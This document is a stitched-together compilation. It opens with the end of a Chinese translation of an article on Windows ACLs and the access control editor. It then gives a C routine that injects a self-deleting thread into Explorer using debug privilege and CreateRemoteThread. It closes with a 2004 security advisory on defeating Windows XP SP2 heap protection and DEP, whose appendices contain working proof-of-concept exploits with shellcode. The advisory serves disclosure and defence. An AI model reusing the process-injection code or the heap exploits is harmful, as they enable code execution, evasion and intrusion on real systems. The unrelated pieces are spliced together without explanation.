因为 ACL 存储在连续的内存单元中,所以需要分配一块足够大的内存空间,以存放 ACL 标头和它的所有项。所分配的内存空间的大小并不重要,足够容纳所有的项即可。在创建 ACL 之后,一般要调用资源管理器,这样会创建该 ACL 的一份副本。我使用 AddAccessAllowedAceEx 函数为每位用户授予读取权限,为带有令牌的用户授予全部权限。
直接创建和编辑更实际和更复杂的 ACL 可能会很困难,且很容易出错。主要原因与列表中的 ACE 的顺序有关,在执行访问检查时,将在列表中从上向下进行。如果向列表末尾添加负的 ACE,且位于列表顶端的 ACE 允许用户进行访问,那么即使已经拒绝了此用户访问,访问检查仍然能够成功进行。访问检查采取这种取捷径的技术是为了提高效率。如果能够对 ACE 正确排序,程序就能够正常运行。更麻烦的是,Windows 2000 引入了新模型,用于实现 ACL 继承,该模型的功能要强大许多,但在实现时,要特别小心。我所能给出的最好的建议是决不要直接对 ACL 进行操纵。下一部分将告诉您其中的方法。
访问控制编辑器
正如事实所说明的,程序员可以在他们自己的应用程序中使用 Windows shell 所使用的访问控制编辑器(请参见图 1)。访问控制编辑器是功能极其强大且使用灵活的编辑器,用来操纵安全描述符所有的不同部分。编辑器通过两个看上去简单的函数提供。CreateSecurityPage 用来创建我们熟悉的安全性属性页,可以向其中添加自己的属性表。EditSecurity 是一个 helper 函数,用于向属性表中添加并显示安全页。看起来很简单,但其中内容很多。这两个函数都要求具备一个相当奇怪的 COM 接口,称为 ISecurityInformation。之所以奇怪是因为它不遵循标准的 COM 内存管理规则。此外,它选择了继续使用许多安全函数所使用的内存管理函数和技术,依赖全局内存和 LocalAlloc。这使得在 C# 或其他托管语言中的实现极其困难。只需将 ISecurityInformation 看作辉煌一时的 C 语言的回调机制即可。

图 1:访问控制编辑器中的安全属性页
GetObjectInformation 方法允许您指示要使用的自定义访问控制编辑器的方法。例如,可以使用它来显示或隐藏高级按钮,高级按钮提供了比标准属性页更高级的安全描述符编辑器(请参见图 2)。其他可以控制的选项包括是否允许用户查看和更改安全描述符的所有者 SID 和系统 ACL。

图 2:高级安全设置对话框
当编辑器需要使用有关安全描述符的信息填充各种控件时,将在不同的时机调用 GetSecurity 方法。现在再使用我在本文前面的部分中提到的 GetPrivateObjectSecurity 函数就变得非常容易。GetSecurity 方法应返回正在编辑的安全描述符相应部分的副本。这正是 GetPrivateObjectSecurity 执行的操作。
用户在编辑器中进行了需要保存的更改后,将调用 SetSecurity 方法。有了 SetPrivateObjectSecurityEx 函数的帮助,实现 SetSecurity 将相当迅速(前面曾经讨论过 SetPrivateObjectSecurityEx 函数)。
调用 GetAccessRights 方法的目的是获取正在对其进行编辑的对象所属类型的特定权限和通用权限的列表。这一实现涉及到创建 SI_ACCESS 结构的数组。每个 SI_ACCESS 结构都标识一个特定的或通用的权限,还有其位掩码位、友好名称和其他标志。因为此信息描述安全描述符的所有实例,所以一般将此数组声明为静态类型。
在其余的方法中,真正有趣的是 GetInheritTypes。调用它的目的是允许编辑器确定如何设定 ACE 的属性值以进行继承。应创建 SI_INHERIT_TYPE 结构的静态数组,以描述要提供的不同继承标志的组合。如果对象支持继承,那么它一般会提供以下选项。
| 适用于: | 标志 |
|
对象和子对象 |
CONTAINER_INHERIT_ACE | OBJECT_INHERIT_ACE |
|
仅子对象 |
CONTAINER_INHERIT_ACE | OBJECT_INHERIT_ACE | INHERIT_ONLY_ACE |
|
仅对象 |
0 |
在刚开始,实现 ISecurityInformation 令人望而却步,但是通过练习并学习精彩的示例后,您会很快熟练起来。本文的下载文件包含若干有用的 helper 函数,以及我编写的 CSecurityDescriptor 类,该类能够使创建、编辑和管理 ACL 继承变得轻松。下载文件还包括实现 IsecurityInformation 的示例,其中的 C++ 项目提供了使用这些类的简单的示例。
结论
将 Windows 安全模型扩展为私有对象需要从全局的角度对安全描述符有深刻的理解,尤其要对与管理私有安全描述符有关的函数有深刻的理解。能够使用 Windows 访问控制编辑器就能够编写出功能丰富的、安全的应用程序。到此您完全可以自己去体验有关安全描述符的内容,并考虑在自己的应用程序中将本文所介绍的技术用于以对象为中心的访问控制。
Kenny Kerr 将他的绝大部分时间都花在了设计和构建 Microsoft Windows 平台的分布式应用程序上,在安全编程方面,他也具有特殊的热情。Kenny 的电子邮件地址为 kennykerr@hotmail.com,也可以访问他的网站:http://www.kennyandkarin.com/Kenny/(英文)。
#include <windows.h>
#include <stdio.h>
#ifndef DELETE_SELF_SWAN
#define DELETE_SELF_SWAN $$$
typedef HINSTANCE (__stdcall *rfdeleteLoadLibraryW)(LPCTSTR);
typedef FARPROC (__stdcall *rfdeleteGetProcAddress)(HMODULE, LPCSTR);
typedef HINSTANCE (__stdcall *rfdeleteGetModuleHandle)(LPCTSTR);
typedef DWORD (__stdcall *rfdeleteDeleteFileA)(char*);
typedef void (__stdcall *rfdeleteSleep)(DWORD);
struct DeleteInfo
{
DWORD interval;
char filename[255];
};
struct RemoteParam
{
rfdeleteLoadLibraryW fnLoadLibrary;
rfdeleteGetProcAddress fnGetProcAddress;
rfdeleteGetModuleHandle fnGetModuleHandle;
//必须得传过去的函数名字
char strKernel32[32];
char strSleep[32];
char strDeleteFileA[32];
DeleteInfo di;
};
DWORD WINAPI RemoteDeleteSelfThread(void *para)
{
//动态加载&&获得函数地址
RemoteParam *rp=(RemoteParam *)para;
//kernel32.dll
HMODULE hModule = rp->fnGetModuleHandle(rp->strKernel32);
rfdeleteDeleteFileA fnDeleteFileA = (rfdeleteDeleteFileA)rp->fnGetProcAddress(hModule, rp->strDeleteFileA);
rfdeleteSleep fnSleep = (rfdeleteSleep)rp->fnGetProcAddress(hModule, rp->strSleep);
de:
if(fnDeleteFileA(rp->di.filename) != 0)
goto re;
Sleep(rp->di.interval);
goto de;
re:
return true;
}
DWORD DeleteSelf()
{
RemoteParam rp;
int iReturnCode;
int iSizeNeed = (int)DeleteSelf - (int)RemoteDeleteSelfThread + 1102;
HWND hWnd = FindWindow("Progman", "Program Manager");
if(!hWnd)
{
return false;
}
DWORD dwRemoteProcessId;
GetWindowThreadProcessId(hWnd, &dwRemoteProcessId);
//给自己debug权限
HANDLE hToken;
if(OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid))
return false;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if(!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL))
return false;
CloseHandle(hToken);
}
//
HANDLE hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE, FALSE, dwRemoteProcessId );
if(!hRemoteProcess)
{
return false;
}
LPVOID pStart = VirtualAllocEx(hRemoteProcess, NULL, iSizeNeed, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(!pStart)
{
CloseHandle(hRemoteProcess);
return false;
}
iReturnCode = WriteProcessMemory(hRemoteProcess, pStart, RemoteDeleteSelfThread, iSizeNeed, NULL);
if(!iReturnCode)
{
CloseHandle(hRemoteProcess);
return false;
}
//初始化要传过去的参数
HMODULE hKernel32 = LoadLibrary("kernel32.dll");
rp.fnLoadLibrary = (rfdeleteLoadLibraryW)GetProcAddress(hKernel32, "LoadLibraryA");
rp.fnGetProcAddress = (rfdeleteGetProcAddress)GetProcAddress(hKernel32, "GetProcAddress");
rp.fnGetModuleHandle = (rfdeleteGetModuleHandle)GetProcAddress(hKernel32, "GetModuleHandleA");
strcpy(rp.strKernel32, "kernel32.dll");
strcpy(rp.strSleep, "Sleep");
strcpy(rp.strDeleteFileA, "DeleteFileA");
GetModuleFileName(NULL, rp.di.filename, 255);
rp.di.interval = 200;
//写入传递过去的参数
PVOID pParam = VirtualAllocEx(hRemoteProcess, NULL, sizeof(RemoteParam), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(!pParam)
{
VirtualFreeEx(hRemoteProcess, pStart, iSizeNeed, MEM_DECOMMIT);
CloseHandle(hRemoteProcess);
return false;
}
iReturnCode = WriteProcessMemory(hRemoteProcess, pParam, &rp, sizeof(RemoteParam), NULL);
if(!iReturnCode)
{
VirtualFreeEx(hRemoteProcess, pParam, sizeof(RemoteParam), MEM_DECOMMIT);
VirtualFreeEx(hRemoteProcess, pStart, iSizeNeed, MEM_DECOMMIT);
CloseHandle(hRemoteProcess);
return false;
}
HANDLE hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0,
(PTHREAD_START_ROUTINE)pStart, pParam, 0, NULL);
if(!hRemoteThread)
{
VirtualFreeEx(hRemoteProcess, pParam, sizeof(RemoteParam), MEM_DECOMMIT);
VirtualFreeEx(hRemoteProcess, pStart, iSizeNeed, MEM_DECOMMIT);
CloseHandle(hRemoteProcess);
return false;
}
//WaitForSingleObject(hRemoteThread, -1);
//VirtualFreeEx(hRemoteProcess, pParam, sizeof(RemoteParam), MEM_DECOMMIT);
//VirtualFreeEx(hRemoteProcess, pStart, iSizeNeed, MEM_DECOMMIT);
CloseHandle(hRemoteProcess);
CloseHandle(hRemoteThread);
return true;
}
#endif
Defeating Microsoft Windows XP SP2 Heap protection
and DEP bypass
Alexander Anisimov, Positive Technologies.
( anisimov[at]ptsecurity.com, http://www.ptsecurity.com )
Overview
Memory protection
Buffer
overrun attacks are among the most common mechanisms, or vectors, for intrusion
into computers. In this type of exploit, the attacker sends a long string to an
input stream or control – longer than the memory buffer allocated to hold it.
The long string injects code into the system, which is executed, launching a
virus or worm.
Windows
XP Service Pack 2 uses two general categories of protection measures to inhibit
buffer-overrun attacks. On CPUs that support it, the operating system can turn
on the execution protection bit for virtual memory pages that are supposed to
hold only data. On all CPUs, the operating system is now more careful to reduce
both stack and heap buffer overruns, using "sandboxing" techniques.
Execution Protection (NX)
On
the 64-bit AMD K8 and Intel Itanium processor families, the CPU hardware can
mark memory with an attribute that indicates that code should not be executed
from that memory. This execution protection (NX) feature functions on a
per-virtual memory page basis, most often changing a bit in the page table
entry to mark the memory page.
On
these processors, Windows XP Service Pack 2 uses the execution protection
feature to prevent the execution of code from data pages. When an attempt is
made to run code from a marked data page, the processor hardware raises an
exception immediately and prevents the code from executing. This prevents
attackers from overrunning a data buffer with code and then executing the code;
it would have stopped the Blaster worm dead in its tracks.
Although
the support for this feature is currently limited to 64-bit processors,
Microsoft expects future 32-bit and 64-bit processors to provide execution
protection.
Sandboxing
To help control this type of attack on
existing 32-bit processors, Service Pack 2 adds software checks to the two
types of memory storage used by native code: the stack, and the heap. The stack
is used for temporary local variables with short lifetimes; stack space is
automatically allocated when a function is called and released when the function
exits. The heap is used by programs to dynamically allocate and free memory
blocks that may have longer lifetimes.
The protection added to these two kinds
of memory structures is called sandboxing. To protect the stack, all binaries
in the system have been recompiled using an option that enables stack buffer
security checks. A few instructions added to the calling and return sequences
for functions allow the runtime libraries to catch most stack buffer overruns.
This is a case where a little paranoia goes a long way.
In addition, "cookies" have
been added to the heap. These are special markers at the beginning and ends of
allocated buffers, which the runtime libraries check as memory blocks are
allocated and freed. If the cookies are found to be missing or inconsistent,
the runtime libraries know that a heap buffer overrun has occurred, and raise a
software exception.
- from Microsoft.com
Heap Design
Heap
is a reserved address space region at least one page large from which the heap
manager can dynamically allocate memory in smaller pieces. The heap manager is
represented by a set of function for memory allocation/freeing which are
localised in two places: ntdll.dll and ntoskrnl.exe.
Every
process at creation time is granted with a default heap, which is 1MB large (by
default) and grows automatically as need arise. The default heap is used not
only by the win32 apps, but also by many runtime library functions which need
temporary memory blocks. A process may create and destroy additional private
heaps by calling HeapCreate()/HeapDestroy(). Use of the private heaps` memories
is established by calling HeapAlloc() and HeapFree().
[*]
More detailed information about the heap management functions is provided in
the Win32 API documentation.
Memory
in heaps is allocated by chunks called ‘allocation units’ or ‘indexes’ which
are 8-byte large. Therefore, allocation sizes have a natural 8-byte
granularity. For example if an application needs a 24-byte block the number of
allocation units it gets 3 allocation units. In order to manage memory for
every block a special header is created, which also has a size divisible by 8
(fig. 1, 2). Therefore a true memory allocation size is a total of the
requested memory size, rounded up towards a nearest value divisible by 8 and
the size of the header.

Fig.1. Busy block header.

Fig.2. Free block header.
Where:
Size – memory block size (real
block size with header / 8);
Previous Size – previous block
size (real block size with header / 8);
Segment Index – segment index in
which the memory block resides;
Flags – flags:
- 0×01 -
HEAP_ENTRY_BUSY
– 0×02 -
HEAP_ENTRY_EXTRA_PRESENT
– 0×04 -
HEAP_ENTRY_FILL_PATTERN
– 0×08 -
HEAP_ENTRY_VIRTUAL_ALLOC
– 0×10 – HEAP_ENTRY_LAST_ENTRY
– 0×20 -
HEAP_ENTRY_SETTABLE_FLAG1
– 0×40 -
HEAP_ENTRY_SETTABLE_FLAG2
– 0×80 -
HEAP_ENTRY_SETTABLE_FLAG3
Unused – amount of free bytes
(amount of additional bytes);
Tag Index – tag index;
Flink – pointer to the next free
block;
Blink – pointer to the previous
free block.
The
specification of the allocation size in allocation units is important for the
free block list management. Those free block lists are sorted by size and the
information about them is stored in an array of 128 doubly-linked-lists inside
the heap header (fig. 3, 4). Free blocks in the size diapasone from 2 to 127
units are stored in lists corresponding to their size (index). For example, all
free blocks with the size of 24 units are stored in a list with index 24, i.e. in
Freelist[24]. The list with index 1 (Freelist[1]) is unused, because blocks of
8 bytes can`t exist and the list with index 0 is used to store blocks larger
than 127 allocation units (bigger than 1016 bytes).

Fig. 3.
If,
during the heap allocation, the HEAP_NO_SERIALIZE flag was unset but the
HEAP_GROWABLE flag was set (which is actually the default), then in order to
speed up allocation of the small blocks (under 1016 bytes) 128 additional singly-linked lookaside lists (fig.
3, 4) are created in the heap. Initially lookaside lists are empty and grow
only as the memory is freed. In this case during allocation or freeing these
lookaside lists are checked for suitable blocks before the Freelists.
The
heap allocation routines automatically tune the amount of the free blocks to
store in the lookaside lists, depending on the allocation frequency for certain
block sizes. The more often memory of certain size is allocated — the more can
be stored in the respective lists, and vice versa — underused lists are
trimmed and the pages are freed to the system.
Because
the main goal of the heap is to store small memory blocks this scheme results
in relatively quick memory allocation/freeing.

doubly-linked freelist

singly-linked lookaside list
Fig. 4.
Heap
Overflow
Let`s take a look at this pretty simple
example of a vulnerable function:
HANDLE h = HeapCreate(0, 0, 0); // default
flags
DWORD vulner(LPVOID str)
{
LPVOID mem = HeapAlloc(h, 0, 128);
// <..>
strcpy(mem, str);
// <..>
return 0;
}
As we can see here the vulner() function
copies data from a string pointed by str to an allocated memory block pointed
at by buf, without a bound check.
A string larger than 127 bytes passed to
it will thereby overwrite the data coincidental to this memory block (Which is,
actually, a header of the following memory block).
The heap overflow exploitation scenario
usually proceeds on like this:
If during the buffer overflow the
neighboring block exists, and is free, then the Flink and Blink pointers are
replaced (Fig. 5).
At the precise moment of the removal of
this free block from the doubly-linked freelist a write to an arbitrary memory
location happens:
mov dword ptr [ecx],eax
mov dword ptr [eax+4],ecx
EAX – Flink
ECX – Blink
For example, the Blink pointer could be
replaced by the unhandled exception filter address (UEF –
UnhandledExceptionFilter), and Flink, accordingly, by the address of the
instruction which will transfer ther execution to the shellcode.
[*] More detailed information about the
heap overflows is provided in the “Windows Heap Overflows” whitepaper (by David
Litchfield, BlackHat 2004).

Fig. 5.
In
Windows XP SP2 the allocation algorithm was changed — now before the removal
of a free block from the freelist, a pointer sanity check is performed with
regard to the previous and next block addresses (safe unlinking, fig. 6.):

Fig. 6. Safe unlinking.
- Free_entry2
-> Flink -> Blink == Free_entry2 -> Blink -> Flink - Free_entry2
-> Blink -> Flink == Free_entry2
7C92AE22 mov
edx,dword ptr [ecx]
7C92AE24 cmp
edx,dword ptr [eax+4]
7C92AE27 jne
7C927FC0
7C92AE2D cmp
edx,esi
7C92AE2F jne
7C927FC0
7C92AE35 mov dword
ptr [ecx],eax
7C92AE37 mov dword
ptr [eax+4],ecx
Then
that block gets deleted from the list.
The
memory header block was changed, besides other things (fig. 7.). A new
one-byte-large ‘cookie’ field was introduced, which holds a unique precomputed
token — undoubtely designed to ensure header consistency.
This
value is calculated from the header address and a pseudorandom number generated
during the heap creation:
(&Block_header
>> 3) xor (&(Heap_header + 0×04))
The
consistency of this token is checked only during the allocation of a free
memory block and only after its deletion from the free list.

Fig. 7.
If
at least one of these checks fails the heap is considered destroyed and an
exception follows.
The
first weak spot — the fact that the cookie gets checked at all only during
free block allocation and hence there is no checks upon block freeing. However
in this situation there is nothing you can do except changing the block size
and place it into an arbitrary freelist.
And
the second weak spot – the manipulation of the lookaside lists doesn`t assume
any header sanity checking, there isn`t even a simple cookie check there.
Which,
theoretically, results in possibility to overwrite up to 1016 bytes in an
arbitrary memory location.
The
exploitation scenario could proceed as follows:
if,
during the overflow the concidental memory block is free and is residing in the
lookaside list, then it becomes possible to replace the Flink pointer with an
arbitrary value.
Then,
if the memory allocation of this block happens, the replaced Flink pointer will
be copied into the header of the lookaside list and during the next allocation
HeapAlloc() will return this fake pointer.
The
prerequisite for successful exploitation is existence of a free block in
lookaside list which neighbors with the buffer we overflow.
This
technique was successfully tested by MaxPatrol team in trying to exploit the
heap buffer overflow vulnerability in the Microsoft Windows winhlp32.exe
application using the advisory published by the xfocus team:
http://www.xfocus.net/flashsky/icoExp/index.html
The effect of a successful attack:
1)
Arbitrary memory region write access (smaller or equal to 1016 bytes).
2)
Arbitrary code execution (appendix A).
3)
DEP bypass. (DEP is Data Execution Prevention) (appendix B).
Disclosure
timeline
10/09/2004
The possibility to work around the Heap protection mechanism was discovered by
MaxPatrol security scanner research team in course of advanced vulnerabilities
analysis
12/21/2004
Initial vendor notification
12/22/2004
Initial vendor response
12/22/2004
PoC code was sent to Microsoft.
Solution
One
might employ restriction of lookaside list creation, governed by a special
global flag, as a temporary security measure. Actually a simple program for
this purpose was already created by MaxPatrol research team and is available
for free download from:
http://www.maxpatrol.com/ptmshorp.asp
During
the first execution this program shows the list of applications which already
have this flag set. In order to activate the global flag, which would disable
use of the lookaside lists, one needs to add the name of the executable file
and then, optionally, close the application (PTmsHORP).
Warning:
this flag, while enabled, may decrease the application performance.
About
Positive Technologies
Positive Technologies is a private company specializing in network
information security. Its head office is located in Moscow, Russia.
The company has two main concentrations: provisioning of
integrated services used in protecting computer networks from unauthorized
access; and development of the MaxPatrol security scanner and its complementary
products. The company’s Russian and Ukrainian customers include the largest
banks, state organizations and leading telecommunication and industrial
companies.
The two focuses of Positive Technologies complement and enrich
each other. The company employs experienced security specialists who actively
conduct penetration testing and security reviews for some of the largest companies
and state agencies in Russia. This practical experience allows it to create
products of the highest quality and remain on the cutting edge of the security
world. By developing products based on this experience leads to more effective,
successful, and efficient resolutions of any information-security problems.
The company also owns and maintains a leading Russian Information
Security Internet Portal www.securityfocus.ru for that
it uses for analytic and educational purposes.
About
MaxPatrol
MaxPatrol
is an integrated system and application security scanner. MaxPatrol has the
ability to detect and recommend solutions for both known and unknown vulnerabilities
on multiple platforms. Although MaxPatrol operates within Microsoft Windows, it
can test for possible vulnerabilities in any software or hardware platform:
from Windows workstations to Cisco networks (*nix, Solaris, Novell, AS400,
etc.).
MaxPatrol’s
technology integrates a powerful and comprehensive protection analyzer
developed for web servers and web applications (e.g. shopping carts or online
banking applications) as well as operating system vulnerabilities. Unlike
information-security scanners that focus only on system vulnerabilities, MaxPatrol
provides universal detection on at both the system level and the application
level giving a much more throughout view of an organizations security posture
on all levels.
MaxPatrol’s
easy to master GUI and comprehensive reports with suggestions and references
mean any security officer can have in-depth knowledge of the security posture
of their organization without using multiple, nonintegrated products or complex
open source tools.
MaxPatrol
demo is available at: http://www.maxpatrol.com/DOWNLOAD/MP7DEMO.ZIP.
MaxPatrol
commercial version is available in the United States through Positives
Technologies Distribution and Support Partner Global Digital Forensics, www.evestigate.com
Download
the latest demo version and get a handle on your security posture.
Appendix A.
/*
*
Defeating Windows XP SP2 Heap protection.
*
*
Copyright (c) 2004 Alexander Anisimov, Positive Technologies.
*
*
*
Tested on:
*
*
- Windows XP SP2
*
- Windows XP SP1
*
- Windows 2000 SP4
*
- Windows 2003 Server
*
*
Contacts:
*
*
anisimov@ptsecurity.com
*
http://www.ptsecurity.com
*
*
THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS
IS"
*
AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
*
WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*/
#include
<stdio.h>
#include
<windows.h>
unsigned
char calc_code[]=
"\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9"
"\x04\x03\x02\x01" //
Address of system() function
"\xFF\xD1\xEB\xF7";
void
fixaddr(char *ptr, unsigned int a)
{
ptr[0]
= (a & 0xFF);
ptr[1]
= (a & 0xFF00) >> 8;
ptr[2]
= (a & 0xFF0000) >> 16;
ptr[3]
= (a & 0xFF000000) >> 24;
}
int
getaddr(void)
{
HMODULE
lib = NULL;
unsigned
int addr_func = 0;
unsigned
char a[4];
//
get address of system() function
lib
= LoadLibrary("msvcrt.dll");
if
(lib == NULL) {
printf("Error:
LoadLibrary failed\n");
return
-1;
}
addr_func
= (unsigned int)GetProcAddress(lib, "system");
if
(addr_func == 0) {
printf("Error:
GetProcAddress failed\n");
return
-1;
}
printf("Address
of msvcrt.dll!system(): %08X\n\n", addr_func);
fixaddr(a,
addr_func);
memcpy(calc_code+13, a, 4);
return
0;
}
int
main(int argc, char **argv)
{
HANDLE
h = NULL;
LPVOID
mem1 = NULL, mem2 = NULL, mem3 = NULL;
unsigned
char shellcode[128];
if
(getaddr() != 0)
return
0;
//
create private heap
h
= HeapCreate(0, 0, 0);
if
(h == NULL) {
printf("Error:
HeapCreate failed\n");
return
0;
}
printf("Heap:
%08X\n", h);
mem1
= HeapAlloc(h, 0, 64-8);
printf("Heap
block 1: %08X\n", mem1);
mem2
= HeapAlloc(h, 0, 128-8);
printf("Heap
block 2: %08X\n", mem2);
HeapFree(h,
0, mem1);
HeapFree(h,
0, mem2);
mem1
= HeapAlloc(h, 0, 64-8);
printf("Heap
block 1: %08X\n", mem1);
//
buffer overflow occurs here…
memset(mem1,
0×31, 64);
//
fake allocation address in the stack
memcpy((char
*)mem1+64, "\x84\xFF\x12\x00", 4);
//
lookaside list overwrite occurs here…
mem2
= HeapAlloc(h, 0, 128-8);
printf("Heap
block 2: %08X\n", mem2);
//
allocate memory from the stack
mem3
= HeapAlloc(h, 0, 128-8);
printf("Heap
block 3: %08X\n", mem3);
memset(shellcode,
0, sizeof(shellcode)-1);
//
fake ret address
memcpy(shellcode,
"\x8B\xFF\x12\x00", 4);
//
shellcode – "calc.exe"
memcpy(shellcode+4,
"\x90\x90\x90\x90", 4);
memcpy(shellcode+4+4,
calc_code, sizeof(calc_code)-1);
//
overwrite stack frame
memcpy(mem3,
shellcode, sizeof(calc_code)-1+8);
return
0;
}
Appendix B.
/*
*
Defeating Windows XP SP2 Heap protection.
*
Example 2: DEP bypass. (DEP is Data Execution Prevention)
*
*
Copyright (c) 2004 Alexander Anisimov, Positive Technologies.
*
*
*
Tested on:
*
*
- Windows XP SP2
*
- Windows XP SP1
*
- Windows 2000 SP4
*
- Windows 2003 Server
*
*
Contacts:
*
*
anisimov@ptsecurity.com
*
http://www.ptsecurity.com
*
*
THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS
IS"
*
AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
*
WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*/
#include
<stdio.h>
#include
<windows.h>
unsigned
char calc_code[]=
"\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9"
"\x04\x03\x02\x01" //
Address of system() function
"\xFF\xD1\xEB\xF7";
void
fixaddr(char *ptr, unsigned int a)
{
ptr[0]
= (a & 0xFF);
ptr[1]
= (a & 0xFF00) >> 8;
ptr[2]
= (a & 0xFF0000) >> 16;
ptr[3]
= (a & 0xFF000000) >> 24;
}
int
getaddr(unsigned char *a)
{
HMODULE
lib = NULL;
unsigned
int addr_func = 0;
//
get address of system() function
lib
= LoadLibrary("msvcrt.dll");
if
(lib == NULL) {
printf("Error:
LoadLibrary failed\n");
return
-1;
}
addr_func
= (unsigned int)GetProcAddress(lib, "system");
if
(addr_func == 0) {
printf("Error:
GetProcAddress failed\n");
return
-1;
}
printf("Address
of msvcrt.dll!system(): %08X\n\n", addr_func);
fixaddr(a,
addr_func);
return
0;
}
int
main(int argc, char **argv)
{
HANDLE
h = NULL;
LPVOID
mem1 = NULL, mem2 = NULL, mem3 = NULL;
unsigned
char shellcode[128];
//
create private heap
h
= HeapCreate(0, 0, 0);
if
(h == NULL) {
printf("Error:
HeapCreate failed\n");
return
0;
}
printf("Heap:
%08X\n", h);
mem1
= HeapAlloc(h, 0, 64-8);
printf("Heap
block 1: %08X\n", mem1);
mem2
= HeapAlloc(h, 0, 128-8);
printf("Heap
block 2: %08X\n", mem2);
HeapFree(h,
0, mem1);
HeapFree(h,
0, mem2);
mem1
= HeapAlloc(h, 0, 64-8);
printf("Heap
block 1: %08X\n", mem1);
//
buffer overflow occurs here…
memset(mem1,
0×31, 64);
//
fake allocation address in the stack
memcpy((char
*)mem1+64, "\x84\xFF\x12\x00", 4);
//
lookaside list overwrite occurs here…
mem2
= HeapAlloc(h, 0, 128-8);
printf("Heap
block 2: %08X\n", mem2);
//
allocate memory from the stack
mem3
= HeapAlloc(h, 0, 128-8);
printf("Heap
block 3: %08X\n", mem3);
memset(shellcode,
0, sizeof(shellcode)-1);
//
“return-into-lib” method
// fake ret address ->
system()
getaddr(&shellcode[0]);
memcpy(shellcode+4,
"\x32\x32\x32\x32", 4);
//
shellcode – "calc.exe"
memcpy(shellcode+8,
"\x94\xFF\x12\x00", 4);
memcpy(shellcode+12,
"\x31\x31\x31\x31", 4);
memcpy(shellcode+16,
"calc", 4);
memcpy(shellcode+20,
"\x0a\x31\x31\x31", 4);
//
overwrite stack frame
memcpy(mem3,
shellcode, 24);
return
0;
}




